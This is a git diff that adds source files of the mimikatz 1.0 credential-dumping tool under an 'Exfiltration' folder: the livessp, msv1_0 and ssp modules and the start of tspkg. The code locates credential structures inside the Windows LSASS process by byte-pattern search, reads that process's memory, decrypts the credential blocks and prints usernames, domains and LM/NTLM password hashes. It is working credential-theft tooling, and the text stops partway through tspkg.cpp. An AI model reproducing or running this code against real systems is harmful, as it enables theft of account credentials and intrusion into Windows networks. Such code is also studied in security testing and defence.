0xe4, 0x89, 0x5d, 0xe0}; +#endif + LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4); + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList) + { + + PBYTE *pointeur = reinterpret_cast<PBYTE *>(&LiveGlobalLogonSessionList); + if(HMODULE monModule = LoadLibrary(L"livessp")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions); + *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (pModLIVESSP && LiveGlobalLogonSessionList); +} + +bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLiveGlobalLogonSessionList()) + { + PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; + BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)]; + if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId))) + { + if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + pLogSession = reinterpret_cast<PKIWI_LIVESSP_LIST_ENTRY>(monBuffP); + if(pLogSession->suppCreds) + { + if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) + mesCreds = &(reinterpret_cast<PKIWI_LIVESSP_PRIMARY_CREDENTIAL>(monBuffC)->credentials); + } + else (*outputStream) << L"n.s. (SuppCred KO) / "; + } + } + mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); + delete [] monBuffC, monBuffP; + } + else (*outputStream) << L"n.a. (livessp KO)"; + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h new file mode 100644 index 0000000..891da63 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h @@ -0,0 +1,44 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_livessp { + +private: + typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL + { + DWORD isSupp; // 88h + DWORD unk0; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL; + + typedef struct _KIWI_LIVESSP_LIST_ENTRY + { + struct _KIWI_LIVESSP_LIST_ENTRY *Flink; + struct _KIWI_LIVESSP_LIST_ENTRY *Blink; + PVOID unk0; // 1 + PVOID unk1; // 0FFFFFFFFh + PVOID unk2; // 0FFFFFFFFh + PVOID unk3; // 0 + DWORD unk4; // 0 + DWORD unk5; // 0 + PVOID unk6; // 20007D0h + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + PVOID unk7; // 2000010Dh + PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; + } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY; + + static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList; + static bool searchLiveGlobalLogonSessionList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP; + static bool getLiveSSP(vector<wstring> * arguments); + static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp new file mode 100644 index 0000000..39fa015 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp @@ -0,0 +1,217 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0.h" +#include "..\..\global.h" +PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL; +PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL; + +bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getMSVLogonData, wstring(L"msv1_0"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E}; + BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8}; + + LONG OFFS_WALL_LogonSessionList = -sizeof(long); + LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long)); + LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); +#elif defined _M_IX86 + BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD}; + BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5}; + BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84}; + + LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG))); + LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG))); + LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1; + LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long)); + LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); +#endif + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0; +#ifdef _M_X64 + offsetListe = OFFS_WALL_LogonSessionList; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_LogonSessionList; + taille = sizeof(PTRN_WIN5_LogonSessionList); + offsetCount = OFFS_WIN5_LogonSessionListCount; + } + else + { + pattern = PTRN_WIN6_LogonSessionList; + taille = sizeof(PTRN_WIN6_LogonSessionList); + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount; + else + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) + { + pattern = PTRN_WN51_LogonSessionList; + taille = sizeof(PTRN_WN51_LogonSessionList); + offsetListe = OFFS_WN51_LogonSessionList; + } + else + { + pattern = PTRN_WNO8_LogonSessionList; + taille = sizeof(PTRN_WNO8_LogonSessionList); + offsetListe = OFFS_WNO8_LogonSessionList; + offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount; + } + } + else + { + pattern = PTRN_WIN8_LogonSessionList; + taille = sizeof(PTRN_WIN8_LogonSessionList); + offsetListe = OFFS_WIN8_LogonSessionList; + offsetCount = OFFS_WIN8_LogonSessionListCount; + } +#endif + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + pointeur = reinterpret_cast<PBYTE *>(&LogonSessionList); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe)) + { + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + if(offsetCount) + { + pointeur = reinterpret_cast<PBYTE *>(&LogonSessionListCount); + if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount)) + *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + } + } + } + return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount)); +} + +bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchLogonSessionList()) + { + LONG offsetToLuid, offsetToCredentials; + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials); + } + else + { + offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier); + offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8 + { +#ifdef _M_X64 + offsetToCredentials += 4*sizeof(PVOID); +#elif defined _M_IX86 + offsetToCredentials += 2*sizeof(PVOID); +#endif + } + } + + ULONG nbListes = 0; + if(LogonSessionListCount) + mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS); + else nbListes = 1; + + PLIST_ENTRY pLogSession = NULL; + for(ULONG i = 0; i < nbListes; i++) + { + if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast<PLIST_ENTRY>(LogonSessionList + i), offsetToLuid, logId)) + { + BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)]; + if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) + { + PVOID monPtr = *reinterpret_cast<PVOID *>(kiwiMSVListEntry + offsetToCredentials); + if(monPtr) + { + BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)]; + if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast<PKIWI_MSV1_0_CREDENTIALS>(kiwiMSVCredentials); + if(mesCreds->PrimaryCredentials) + { + BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)]; + if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) + { + decryptAndDisplayCredsBlock(&reinterpret_cast<PKIWI_MSV1_0_PRIMARY_CREDENTIALS>(kiwiMSVPrimaryCredentials)->Credentials, justSecurity); + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)"; + delete [] kiwiMSVPrimaryCredentials; + + } else (*outputStream) << L"n.s. (PrimaryCredentials KO)"; + + }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)"; + delete [] kiwiMSVCredentials; + + } else (*outputStream) << L"n.s. (Credentials KO)"; + + } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)"; + delete [] kiwiMSVListEntry; + + break; + } + } + if(!pLogSession) + (*outputStream) << L"n.t. (LUID KO)"; + } + else (*outputStream) << L"n.a. (msv1_0 KO)"; + return true; +} + +bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity) +{ + if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer) + { + BYTE * monBuffer = new BYTE[monBlock->MaximumLength]; + if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS)) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length); + PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast<PMSV1_0_PRIMARY_CREDENTIAL>(monBuffer); + + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false); + NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false); + + wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword)); + wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword)); + + if(justSecurity) + (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; + else + { + (*outputStream) << endl << + L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl << + L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl << + L"\t * Hash LM : " << lmHash << endl << + L"\t * Hash NTLM : " << ntHash; + } + } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)"; + + delete [] monBuffer; + } else (*outputStream) << L"n.s. (Block Credentials KO)"; + + return true; +} + +void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress))); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h new file mode 100644 index 0000000..cf8ccac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h @@ -0,0 +1,105 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_msv1_0 { + +private: + typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { + PVOID unk0; // next? + LSA_UNICODE_STRING Primary; + LSA_UNICODE_STRING Credentials; + } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_CREDENTIALS { + PVOID unk0; // next? + DWORD AuthenticationPackageId; + PVOID PrimaryCredentials; + } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; + + typedef struct _KIWI_MSV1_0_LIST_5 { + struct _KIWI_MSV1_0_LIST_5 *Flink; + struct _KIWI_MSV1_0_LIST_5 *Blink; + LUID LocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5; + + typedef struct _KIWI_MSV1_0_LIST_6 { + struct _KIWI_MSV1_0_LIST_6 *Flink; + struct _KIWI_MSV1_0_LIST_6 *Blink; + PVOID unk0; // unk_18457A0 + DWORD unk1; // 0FFFFFFFFh + DWORD unk2; // 0 + PVOID unk3; // 0 + PVOID unk4; // 0 + PVOID unk5; // 0 + PVOID unk6; // 0C04h + PVOID unk7; // 0 + PVOID unk8; // 0C08h + PVOID unk9; // 0 + PVOID unk10; // 0 + DWORD unk11; // 0 + DWORD unk12; // 0 + PVOID unk13; // offset off_18456A0 + LUID LocallyUniqueIdentifier; + LUID SecondaryLocallyUniqueIdentifier; + LSA_UNICODE_STRING UserName; + LSA_UNICODE_STRING Domaine; + PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!! + PVOID unk15; // 0 + PVOID unk16; // offset unk_181A080 + DWORD unk17; // 0Ah + DWORD unk18; // 2 + #ifdef _M_IX86 + DWORD unk19; + #endif + DWORD unk20; // 5AC4186Ch + DWORD unk21; // 1CD6BFDh + LSA_UNICODE_STRING LogonServer; + PKIWI_MSV1_0_CREDENTIALS Credentials; + PVOID unk22; // 0C14h + PVOID unk23; // 0BFCh + } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6; + + typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; + } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + + static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + + static PLIST_ENTRY LogonSessionList; + static PULONG LogonSessionListCount; + static bool searchLogonSessionList(); + + static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity); +public: + static bool getMSV(vector<wstring> * arguments); + static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity); +};
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp new file mode 100644 index 0000000..86dab86 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp @@ -0,0 +1,92 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "ssp.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL; +mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL; + +bool mod_mimikatz_sekurlsa_ssp::getSSP(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getSSPLogonData, wstring(L"ssp"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList() +{ +#ifdef _M_X64 + BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3; + BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; + LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3; +#elif defined _M_IX86 + BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; + LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1; +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + pointeur= reinterpret_cast<PBYTE *>(&SspCredentialList); + +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_SspCredentialList; + taille = sizeof(PTRN_WIN5_SspCredentialList); + offset = OFFS_WIN5_SspCredentialList; + } + else + { + pattern = PTRN_WIN6_SspCredentialList; + taille = sizeof(PTRN_WIN6_SspCredentialList); + offset = OFFS_WIN6_SspCredentialList; + } +#elif defined _M_IX86 + pattern = PTRN_WALL_SspCredentialList; + taille = sizeof(PTRN_WALL_SspCredentialList); + offset = OFFS_WALL_SspCredentialList; +#endif + if(HMODULE monModule = LoadLibrary(L"msv1_0")) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) + { + mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset); + *pointeur += pModMSV->modBaseAddr - reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll); + } + FreeLibrary(monModule); + } + } + return (SspCredentialList != NULL); +} + +bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity) +{ + if(searchSSPEntryList()) + { + KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials; + DWORD monNb = 0; + if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + while(mesCredentials.Flink != SspCredentialList) + { + if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) + { + if(RtlEqualLuid(logId, &(mesCredentials.LogonId))) + { + mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb); + monNb++; + } + } + } + } + } + else (*outputStream) << L"n.a. (SSP KO)"; + + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h new file mode 100644 index 0000000..d2d5396 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_ssp { + +private: + typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY { + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink; + struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink; + ULONG References; + ULONG CredentialReferences; + LUID LogonId; + ULONG unk0; + ULONG unk1; + ULONG unk2; + KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; + } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY; + + static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList; + static bool searchSSPEntryList(); + +public: + static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV; + static bool getSSP(vector<wstring> * arguments); + static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp new file mode 100644 index 0000000..71e3751 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp @@ -0,0 +1,94 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "tspkg.h" +#include "..\..\global.h" +mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL; +PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast<PRTL_AVL_TABLE>(NULL); + +bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector<wstring> * arguments) +{ + vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(getTsPkgLogonData, wstring(L"tspkg"))); + return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); +} + +bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d}; + LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable); +#elif defined _M_IX86 + BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe}; + LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable); + + BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb}; + LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable); +#endif + + if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable) + { + PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; + + pointeur= reinterpret_cast<PBYTE *>(&TSGlobalCredTable); +#ifdef _M_X64 + pattern = PTRN_WALL_TSGlobalCredTable; + taille = sizeof(PTRN_WALL_TSGlobalCredTable); + offset = OFFS_WALL_TSGlobalCredTable; +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + pattern = PTRN_WNO8_TSGlobalCredTable; + taille = sizeof(PTRN_WNO8_TSGlobalCredTable); + offset = OFFS_WNO8_TSGlobalCredTable; + } + else + { + pattern = PTRN_WIN8_TSGlobalCredTable; + taille = sizeof(PTRN_WIN8_TSGlobalCredTable); + offset = OFFS_WIN8_TSGlobalCredTable; + } +#endif + + if(HMODULE monModule = LoadLibrary(L"tspkg")) + { + MODULEINFO 